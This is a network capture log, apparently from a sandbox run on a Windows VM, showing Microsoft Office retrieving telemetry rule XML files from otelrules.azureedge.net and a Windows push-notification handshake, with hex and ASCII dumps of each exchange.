2024-12-08 16:45:30 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:32 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:32 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: d196cbd9-901e-008f-5d03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164532Z-r1cf579d778w59f9hC1EWRze6w000000062g000000006xyk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:32 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:32 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: d196cbda-901e-008f-5e03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164532Z-r1cf579d7784wpmvhC1EWRk4cn00000005dg000000001d5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:32 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 074afca8-301e-0096-464a-49e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164532Z-r1cf579d7782v2q5hC1EWRt9bw00000000qg000000000rrt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-08 16:45:32 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:32 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:32 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 32c7b88d-b01e-003e-5b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164532Z-r1cf579d7789trgthC1EWRkkfc00000006n0000000002359 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:32 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:34 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:34 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 30883f21-801e-00a0-1802-482196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164534Z-r1cf579d778dfdgnhC1EWRd3w000000005m0000000007wuu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:34 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:34 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:34 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: babd51c3-501e-008f-1378-499054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164534Z-r1cf579d7782w22mhC1EWR2ebg00000000t0000000005ce9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-08 16:45:34 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:34 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:34 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: c11f8514-901e-0048-1305-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164534Z-r1cf579d778bb9vvhC1EWRs95400000005fg0000000040t5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:35 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:34 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:34 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 072142d6-401e-0029-0802-489b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164534Z-r1cf579d778lntp7hC1EWR9gg400000005e00000000004tq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:35 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:35 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:35 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d23b658c-101e-000b-2402-485e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164535Z-r1cf579d778bb9vvhC1EWRs95400000005fg0000000040tm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:35 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49788	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:36 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6e 41 34 32 6c 50 4d 78 62 30 53 48 63 48 32 6c 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 61 63 38 39 64 37 30 33 61 32 38 62 31 35 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: nA42lPMxb0SHcH2l.1Context: 4ac89d703a28b152
2024-12-08 16:45:36 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-08 16:45:36 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6e 41 34 32 6c 50 4d 78 62 30 53 48 63 48 32 6c 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 61 63 38 39 64 37 30 33 61 32 38 62 31 35 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 44 6d 30 76 7a 38 72 33 62 45 30 44 37 33 77 2f 68 58 4d 59 77 77 46 48 73 47 65 5a 39 44 65 68 45 76 65 2f 6b 46 76 31 52 75 55 6a 4f 35 69 7a 4e 76 6e 47 77 4f 6d 6e 6a 42 35 72 38 71 5a 43 47 4b 2b 45 4e 35 34 56 61 47 32 6e 64 58 76 77 47 63 32 72 50 76 54 6b 50 37 4c 75 36 50 34 42 77 77 35 39 6e 78 6e 2b 41 77 39 54 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: nA42lPMxb0SHcH2l.2Context: 4ac89d703a28b152<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfDm0vz8r3bE0D73w/hXMYwwFHsGeZ9DehEve/kFv1RuUjO5izNvnGwOmnjB5r8qZCGK+EN54VaG2ndXvwGc2rPvTkP7Lu6P4Bww59nxn+Aw9T
2024-12-08 16:45:36 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6e 41 34 32 6c 50 4d 78 62 30 53 48 63 48 32 6c 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 61 63 38 39 64 37 30 33 61 32 38 62 31 35 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: nA42lPMxb0SHcH2l.3Context: 4ac89d703a28b152<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-08 16:45:36 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-08 16:45:36 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 73 45 61 74 50 33 50 75 32 55 75 75 68 45 35 32 54 74 77 34 6f 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: sEatP3Pu2UuuhE52Ttw4oA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
